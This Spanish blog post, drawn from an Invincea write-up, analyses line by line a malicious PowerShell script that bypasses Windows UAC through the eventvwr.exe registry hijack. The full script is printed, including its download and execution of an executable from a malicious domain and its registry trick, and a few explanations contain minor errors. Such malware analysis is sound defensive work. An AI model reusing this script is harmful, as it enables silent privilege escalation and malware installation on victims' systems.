Análisis línea por línea de un script malicioso en Powershell para evadir UAC

Hoy leía un interesante artículo de Invincea, una compañía de Sophos, en el que analizaban línea por línea un script en Powershell malicioso que ejecutaba un exploit para bypassear UAC (User Access Control). En el caso concreto del ataque, la víctima abrió un documento que generó el susodicho script:
A primera vista, parece que el script está bastante elaborado o es complicado. Sin embargo, en realidad es bastante simple y sencillo, con la excepción de algunos cambios que hace en el registro. De hecho, la mayoría de los comandos que ejecuta se usan para evitar la detección.

Como resultado, el proceso se ejecuta sin interrupciones en segundo plano sin necesidad de alertar al usuario o solicitar privilegios elevados para realizar cambios y al usar un pequeño porcentaje de RAM y CPU, la víctima no notará ningún impacto en el rendimiento. Sin la ayuda de una aplicación de monitorización de procesos o herramientas para supervisar el administrador de tareas, sería casi imposible saber que esta aplicación se está ejecutando en segundo plano. Veamos paso a paso cómo lo hace:
1:  “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”  
2:  -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;  
3:  $webclient = new-object System.Net.WebClient;  
4:  $random = new-object random;  
5:  $urls = ‘http://dfgdfg.top/officsemgmts.exe’.Split(‘,’);  
6:  $name = $random.next(1, 65536);  
7:  $path = $env:temp + ‘\’ + $name + ‘.exe’;  
8:  $hkey = ‘HKCU\Software\Classes\mscfile\shell\open\command\’;  
9:  $sleep = 3000;  
10:  foreach($url in $urls){try{  
11:       $webclient.DownloadFile($url.ToString(), $path);  
12:       $wscript.RegWrite($hkey, $path);  
13:       Start-Sleep -m $sleep;  
14:       Start-Process -WindowStyle hidden -FilePath ‘eventvwr.exe’;  
15:       Start-Sleep -m $sleep;  
16:       $wscript.RegDelete($hkey);  
17:       $process = Get-Process $name -ErrorAction silentlycontinue;  
18:       if(!$process){Start-Process -WindowStyle hidden -FilePath $path;}break;}  
19:            catch{write-host $_.Exception.Message;}  

1. "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

La primera línea del comando abre la aplicación PowerShell desde el directorio System32 de Windows.

2. -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;

Abre PowerShell en una ventana oculta para que no sea visible a la víctima. La variable "$wscript" se crea y se asigna a la instancia de WScript.Shell creada. WScript.Shell proporciona acceso a los métodos de shell del sistema operativo que aumentan sustancialmente las capacidades y los tipos de aplicaciones con las que PowerShell puede interactuar.

3. $webclient = new-object System.Net.WebClient;

Se crea la variable $webclient y se le asigna una instancia de System.Net.WebClient. La clase WebClient proporciona una lista de métodos que permiten que el objeto instanciado envíe y reciba datos de servidores web identificados por una URL.

4. $random = new-object random;

Simplemente se crea una nueva instancia de un objeto aleatorio ($random).

5. $urls = ‘http://dfgdfg.top/officsemgmts.exe’.Split(‘,’);

La variable $urls se asigna a un archivo binario (officemgmts.exe) alojado en un dominio malicioso. Esta variable también es capaz de encadenar varios binarios alojados en diferentes dominios simplemente separando las diferentes URL con comas. Esto es útil si el adversario tiene una lista de dominios en los que algunos están activos y otros no.

6. $name = $random.next(1, 65536);

Se le asigna a la variable $name un número aleatorio de la variable $random entre 1 y 65536.

7. $path = $env:temp + ‘\’ + $name + ‘.exe’;

La variable $path se establece en el directorio de variables de entorno de Windows que apunta a la carpeta temporal AppData del usuario. Se crea un nuevo archivo ejecutable en esta carpeta y recibe un nombre aleatorio de la variable $name anterior.

8. $hkey = ‘HKCU\Software\Classes\mscfile\shell\open\command\’;

A una nueva variable $hkey se le asigna una clave de registro específica. Esta clave de registro es particularmente importante con respecto al bypass de UAC y se analizará más adelante.

9. $sleep = 3000;

La variable $sleep tiene asignado un valor de 3000 segundos.

10. foreach($url in $urls){try{

En la siguiente sección, veremos qué hace el script para cada valor en la variable $urls. El script itera a través de cada URL dada en la variable $urls y ejecuta los comandos correspondientes en él. En este caso, solo hay una URL en la variable $urls para que la secuencia de comandos solo se repita una vez.

11. $webclient.DownloadFile($url.ToString(), $path);

La variable $webclient se usa para descargar un archivo del sitio web en la variable $urls a la ruta especificada en la variable $path. Explícitamente, esto descarga el archivo "officsemgmts.exe" a la carpeta %appdata%\local\temp.

12. $wscript.RegWrite($hkey, $path);

Aquí es donde se escribe el bypass de UAC. Usando wscript, powershell escribe el valor $path (binario descargado) en la clave de registro $hkey. Ahora, cada vez que un proceso consulte esa clave de registro, devolverá cualquier valor escrito en $hkey. Microsoft Event Viewer es una herramienta de sistema que en particular interactúa con esta clave de registro.

13. Start-Sleep -m $sleep;

El proceso duerme durante 3000 milisegundos, especificado por el indicador -m delante de la variable $sleep.


14. Start-Process -WindowStyle hidden -FilePath ‘eventvwr.exe’;

Aquí es donde se aprovecha el bypass de UAC. El script ejecuta el archivo "eventvwr.exe", que es un binario firmado de Microsoft que se ejecuta con privilegios administrativos elevados. Esto es importante porque no hay un mensaje que permita al usuario denegar la escalada de privilegios. El proceso se ejecuta automáticamente como administrador sin notificar al usuario. La vulnerabilidad radica en que "eventvwr.exe" consulta una clave en el subárbol HKEY_CURRENT_USER (HKCU) antes de consultar la clave correspondiente en el subárbol HKEY_CLASSES_ROOT (HKCR). Como se ve en la línea 12, el archivo binario malicioso descargado ocupa el valor en la clave de registro que consulta "eventvwr.exe" y, como resultado, ejecuta el archivo binario malicioso.

La rama HKEY_CLASSES_ROOT debe tener una clasificación de integridad más alta que la sección HKEY_CURRENT_USER, ya que proporciona una vista del registro que combina información de las ramas HKCU y HKLM. Las entradas de registro subordinadas a la clave HKCR definen tipos (o clases) de documentos y las propiedades asociadas con esos tipos (las aplicaciones Shell y COM usan la información almacenada bajo esta clave), mientras que las entradas de registro subordinadas a la clave HKCU definen las preferencias del usuario actual. Sin embargo, cuando "eventvwr.exe" consulta el registro lee de la clave HKCU antes de la clave HKCR. Básicamente, el proceso está ejecutando datos desde una clave de registro, si existe, con menos integridad antes de que consulte la clave de registro equivalente con mayor integridad. Uno de los tres axiomas de integridad de Biba establece que un sujeto de mayor integridad no debe leer un objeto de menor integridad (sin lectura). Si el proceso que se ejecuta con privilegios elevados lee dos claves de registro correspondientes, en primer orden debe leerse desde la sección HKCR antes de la sección HKCU.

El bypass de UAC está destinado a hacer que la experiencia de Windows sea más fácil de usar, pero cuando se aprovecha de la persona o el proceso incorrectos, puede resultar peligroso. Puedes encontrar más información sobre UAC en Windows 7 aquí.

15. Start-Sleep -m $sleep;

El proceso duerme durante 3000 milisegundos, especificado por el indicador -m delante de la variable $sleep.

16. $wscript.RegDelete($hkey);

Una vez que se ejecuta el bypass de UAC y el proceso duerme durante 3 segundos, el script elimina la clave de registro para cubrir sus huellas.

17. $process = Get-Process $name -ErrorAction silentlycontinue;

La variable de $process se establece como el nombre del archivo aleatorio creado en el directorio temporal. Si hay un error al recuperar el nombre del proceso, el script continuará silenciosamente.

18. if(!$process){Start-Process -WindowStyle hidden -FilePath $path;}break;}

Si el comando anterior no pudo devolver un proceso y continuó en silencio, la ventana permanece oculta y el proceso se rompe.

19. catch{write-host $_.Exception.Message;}

Por último, este es otro mecanismo para mantener el script en ejecución silenciosamente en segundo plano.

Fuente: https://www.invincea.com/2017/03/powershell-exploit-analyzed-line-by-line/

3 comentarios :

  1. El bypass de UAC está destinado a hacer que la experiencia de Windows sea más fácil de usar, pero cuando se aprovecha de la persona o el proceso incorrectos, puede resultar peligroso. Puedes encontrar más información sobre UAC en Windows 7 aquí.--> https://technet.microsoft.com/en-us/library/2009.07.uac.aspx

    ResponderEliminar
    Respuestas
    1. De ná, hombre. Si es un placer colaborar aunque sea en un mínimo.

      Eliminar